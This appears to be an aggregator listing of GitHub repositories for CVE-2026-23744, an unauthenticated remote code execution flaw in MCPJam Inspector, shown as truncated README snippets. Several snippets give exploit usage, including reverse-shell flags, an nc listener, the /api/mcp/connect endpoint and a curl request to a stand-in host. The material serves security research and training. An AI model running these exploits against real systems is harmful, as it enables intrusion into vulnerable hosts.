CVE-2026-23744

CVE-2026-23744: Unauthenticated Remote Code Execution in @mcpjam/inspector DISCLAIMER: This repository and the associated scripts are intended solely for authorized security assessments, penetration testing, security research, and educational analysis. Unauthorized testing of systems without...

mcpExec

mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip...

CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 Ejecución Remota de Código en MCPJam Inspector Referencia https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Prueba de Concepto POC MCPJam inspector 3. Ejecute el exploit python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – Laboratorio Docker de MCPJam Inspector Este repositorio es un pequeño laboratorio Docker para comparar una compilación vulnerable frente a una parcheada de MCPJam Inspector para CVE-2026-23744. Está pensado para aprender y para construir un portafolio público de seguridad:...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector es una plataforma de desarrollo local-first para servidores MCP. En las versiones 1.4.2 y anteriores, una vulnerabilidad de ejecución remota de código permite a los atacantes enviar solicitudes HTTP manipuladas que instalan un servidor MCP y ejecutan código...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE en MCPJam inspector = 1.4.2 Detalles de la vulnerabilidad https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Uso usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help...

CVE-2026-23744-POC

Descripción Esta vulnerabilidad existe porque MCPJam Inspector expone endpoints de API internos destinados a la depuración y el desarrollo. Estos endpoints aceptan entrada controlada por el usuario y la pasan directamente a la ejecución de procesos a nivel de sistema sin una validación o...

CVE-2026-23744

CVE-2026-23744 – Prueba de Concepto El script de Python en esta PoC envía una solicitud HTTP simple al host objetivo que ejecuta el inspector MCPJam versión reemplace con su puerto de escucha Luego, abra otra shell y ejecute la PoC: cd CVE-2026-23744 python3 exploit.py Referencias RCE en el...

CVE-2026-23744

CVE-2026-23744 Exploit para MCPJam Inspector Instala las librerías con: pip install -r requirements.txt - usa python CVE-2026-23744 --help para obtener información MCPJam inspector es la plataforma de desarrollo local-first para servidores MCP. Las versiones más recientes 1.4.2 y anteriores son...

CVE-2026-23744-script

Un script para CVE-2026-23744, que explota MCPJam Inspector versiones = 1.4.2. Basado en el comando curl utilizado aquí: https://github.com/advisories/GHSA-232v-j27c-5pp6 Asegúrate de que tu archivo /etc/hosts sea correcto y apunte al dominio/vhost del objetivo...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m Flag| Description| Default ---|---|--- -u| Target URL| required -i| Your listener IP LHOST| required -p| Your listener port LPORT| required -m| Payload method: busybox, bash, python3| busybox Reverse Shell Example Ste...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Unauthenticated Remote Code Execution RCE Description Product : MCPJam Inspector Affected versions : ≤ 1.4.2 Fixed version : 1.4.3 Type : Unauthenticated Remote Code Execution RCE Attack vector : Network Authentication required : No User interaction required : No...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Machine: DevHub Difficulty: Medium OS: Linux Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation 📌 1. Reconnaissance nmap -sC -sV devhub.htb Result: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Edit Hosts File...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: /api/mcp/connect method via curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744

CVE-2026-23744 Description MCPJam inspector is a local-first development platform for MCP servers. The versions =1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Fo...